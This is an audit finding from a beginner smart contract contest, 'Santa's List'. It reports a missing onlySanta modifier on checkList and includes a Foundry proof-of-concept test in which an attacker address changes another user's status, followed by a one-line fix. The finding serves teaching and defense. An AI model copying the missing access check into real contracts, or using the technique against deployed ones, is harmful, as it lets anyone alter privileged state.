First Flight #5: Santa's List
First Flight #5
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

checkList not protected by onlySanta modifier

0xrektified

Summary

As the comment and documentation indicate, the checkList method should only be callable by Santa

### List Checking
In this contract **Only Santa** to take the following

Which is not the case as the onlySanta modifier is missing in this method allowing anyone to update the s_theListCheckedOnce associate to his or other user status.

Vulnerability Details

The missing modifier should be implemented here

​
function checkList(address person, Status status) external //<-- missing onlySanta modifier
{
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}

As we can see in this poc an exploiter can modify the s_theListCheckedOnce status.

function testUpdatingCheckOnceValueByAnyUser() public {
address exploiter = makeAddr("exploiter");
​
// Santa set the user status to NICE
vm.startPrank(santa);
santasList.checkList(user, SantasList.Status.NICE);
santasList.checkTwice(user, SantasList.Status.NICE);
vm.stopPrank();
assertEq(uint256(santasList.getNaughtyOrNiceOnce(user)), uint256(SantasList.Status.NICE));
​
// An exploiter update the other user Status
vm.startPrank(exploiter);
santasList.checkList(user, SantasList.Status.NAUGHTY);
assertEq(uint256(santasList.getNaughtyOrNiceOnce(user)), uint256(SantasList.Status.NAUGHTY));
vm.stopPrank();
​
vm.warp(santasList.CHRISTMAS_2023_BLOCK_TIME() + 1);
​
// The user won't be able to claim his gift because of the exploiter
vm.startPrank(user);
vm.expectRevert(0xee805317); // SantasList__NotNice
santasList.collectPresent();
vm.stopPrank();
}

Impact

Since checkTwice ensures that checkList maintains the same status, two types of attacks can be carried out:

1 - A malicious user may alter another user's status, preventing them from collecting a present.

2- A user could manipulate the s_theListCheckedOnce status before Santa sets the s_theListCheckedTwice status. For example, if s_theListCheckedOnce is NAUGHTY, but Santa plans to set s_theListCheckedTwice to NICE, a user could change the status of s_theListCheckedOnce before Santa sets the second value, thereby becoming eligible to collect a present.

Tools Used

Forge test

Recommendations

Add the onlySanta modifier to the checkList method

- function checkList(address person, Status status) external {
+ function checkList(address person, Status status) external onlySanta{
s_theListCheckedOnce[person] = status;
emit CheckedOnce(person, status);
}
Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Access Control on checkList()

Anyone is able to call checkList() changing the status of a provided address. This is not intended functionality and is meant to be callable by only Santa.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.